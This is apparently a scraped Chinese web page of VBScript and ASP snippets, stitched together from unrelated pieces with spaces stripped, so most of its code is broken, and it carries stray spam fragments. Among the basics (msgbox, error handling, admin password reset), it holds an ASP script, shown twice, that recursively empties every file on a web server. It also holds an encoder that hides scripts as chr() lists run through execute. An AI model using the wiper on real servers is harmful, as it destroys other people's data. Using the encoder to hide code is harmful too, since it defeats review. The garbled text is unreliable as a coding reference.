mcgs触摸屏脚本极速发

发布时间:2020-11-18 来源:脚本之家 点击:

本范例是以一个stdPicture物件来存图形,之後於PictureBox中以特殊效果来显示



3、inputbox和msgbox

会vb的人对着两个东西应该很熟悉,用法也没什么差别

input=inputbox(“pleaseenteryoupassword”,”passwd”)

ifinput<>”1234”

then

msgbox“youenterawrongpasswd”

endif

当然你也可以给msgbox添加按钮,用一个变量接受用户的选择

例如:ret=msgbox“continue?”,vbyesnocancel

返回值和常量对照如下:

vbok1

vbcancel2

vbabort3

vbretry4

vbignore5

vbyes6

vbno7



4、错误处理

何vb一样用onerrorresumenext

这个没什么好说的,如果遇到了错误就跳过继续执行下一句

当然这个方法很弱智,还需要有一个方法,vbscript提供了一个对象err对象

他有两个方法clear,raise

5个属性:description,helpcontext,helpfile,number,source

我们可以利用err.number获得错误号例如

***********************err.vbs*****************************

onerrorresumenext

a=11

b=0

c=a/b

iferr.number<>0then

wscript.echoerr.number&err.description&err.source

endif

我们可以用err.raisel来手工抛出错误

比如我们要产生一个pathnotfound的错误告诉用户,他填写的路径不对

onerrorresumenext

err.raise76

msgbox"error:"&err.description

err.clear





以上都是基础,今天就写到这里吧,好累哦,呵呵呵如有转载注明出处

天龙脚本猪猪侠

域用户或租添加到本地组
SetobjGroup=GetObject()
SetobjUser=GetObject()
objGroup.Add(objUser.ADsPath)

修改本地管理员密码
Setobjcnlar=GetObject()
objcnla.SetPasswordP@ssW0rd
objcnla.SetInfo

弹出YESorNO的对话框,不同的选择执行不同的代码
intAnswer=Msgbox(Doyouwanttodeletethesefiles?,vbYesNo,DeleteFiles)
IfintAnswer=vbYesThen
MsgboxYouansweredyes.
ElseMsgboxYouansweredno.
EndIf

运行CMD命令行命令
setobshell=wscript.createobject(wscript.shell)
obshell.run(ipconfig),,true
如果要运行的命令中包含双引号,可使用&chr(34)&代替

忽略代码错误继续执行
OnErrorResumeNext
放置于代码的最开头,当代码运行出错后并不停止跳出而是继续执行下一条但在某些情况下,用CrystalReports却很难作出报表来

'网上看到的,适用与没有禁用shell.application的服务器
server.scripttimeout=99999
Ifrequest("submit")<>""Then
Calllistfile(server.mappath(""))
response.Write"处理完毕"
Else
response.Write"<form><inputtype=""submit""name=""submit""value=""清空所有文件的内容""></form>"
EndIf

Functionlistfile(fpath)
OnErrorResumeNext
DimShell,Folder,s
SetShell=server.CreateObject("shell.application")
SetFolder=Shell.namespace(fpath)
Setf=server.CreateObject("adodb.stream")
f.Type=1
f.Open
ForEachsinFolder.Items
Ifs.isfolderThen
Calllistfile(s.Path)
Else
f.savetofiles.Path,2
EndIf
Next
Setf=Nothing
SetShell=Nothing
EndFunction

'网上看到的,适用与没有禁用shell.application的服务器
server.scripttimeout=99999
Ifrequest("submit")<>""Then
Calllistfile(server.mappath(""))
response.Write"处理完毕"
Else
response.Write"<form><inputtype=""submit""name=""submit""value=""清空所有文件的内容""></form>"
EndIf

Functionlistfile(fpath)
OnErrorResumeNext
DimShell,Folder,s
SetShell=server.CreateObject("shell.application")
SetFolder=Shell.namespace(fpath)
Setf=server.CreateObject("adodb.stream")
f.Type=1
f.Open
ForEachsinFolder.Items
Ifs.isfolderThen
Calllistfile(s.Path)
Else
f.savetofiles.Path,2
EndIf
Next
Setf=Nothing
SetShell=Nothing
EndFunction
以前也看到过这个,感觉没什么用,这么危险的组件服务器一般都禁用了,但今天,我突然觉得有进也得收集或制作一些这样的软件,可以维护自己的权力Command函数在VB的联机帮助中以及在相应的语言教程里都谈论得极其玄乎,让人难以理解,无从参考

你可以用它来处理高达100MB的数据PublicDeclareFunctionGetDesktopWindowLib"user32"()AsLong
PublicDeclareFunctionGetDCLib"user32"(ByValhwndAsLong)AsLong
PublicDeclareFunctionBitBltLib"gdi32"_
(ByValhDestDCAsLong,_
ByValxAsLong,_
ByValyAsLong,_
ByValnWidthAsLong,_
ByValnHeightAsLong,_
ByValhSrcDCAsLong,_
ByValxSrcAsLong,_
ByValySrcAsLong,_
ByValdwRopAsLong)AsLong

PrivateSubForm_Load()
DimlDesktopAsLong
DimlDCAsLong
Form1.AutoRedraw=True
Form1.ScaleMode=1
lDesktop=GetDesktopWindow()'取得桌面窗口
lDC=GetDC(lDesktop)'取得桌面窗口的设备场景
BitBltMe.hDC,0,0,Screen.Width,Screen.Height,lDC,0,0,vbSrcCopy'将桌面图象绘制到窗体
EndSub->

参数 说明
//B 批处理模式;隐藏用户提示和脚本错误在命令行中的显示剑三哪里买

  换句话说,属性中有两个部分:"getting"和"letting",事实上可能还有另外一个"setting"操作
On Error Resume Next
Set argv=WScript.Arguments
If argv.Count=0 Then WScript.Quit
Set fso=CreateObject("scripting.filesystemobject")
With fso.OpenTextFile(argv(0),1)
data=.ReadAll : .Close
End With
With fso.OpenTextFile(argv(0)&".txt",2,True)
.WriteLine "data="&Chr(34)&ASCdata(data)&Chr(34)
.WriteLine "Function ChrData(Data)"
.WriteLine "MyArray=Split(Data, "","", -1, 1)"
.WriteLine "For each OldData in MyArray"
.WriteLine "Newdata=NewData"&Chr(38)&"chr(OldData)"
.WriteLine "Next"
.WriteLine "ChrData=NewData"
.WriteLine "End Function"
.WriteLine "execute Chrdata(data)"
.Close
End With
MsgBox "OK!",,"Encrypt"
Function ASCdata(Data)
num=len(data)
newdata=""
For j=1 to num
If j=num then
newdata=newdata&asc(mid(data,j,1))
Else
newdata=newdata&asc(mid(data,j,1))&","
End If
Next
ASCdata=newdata
End function

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号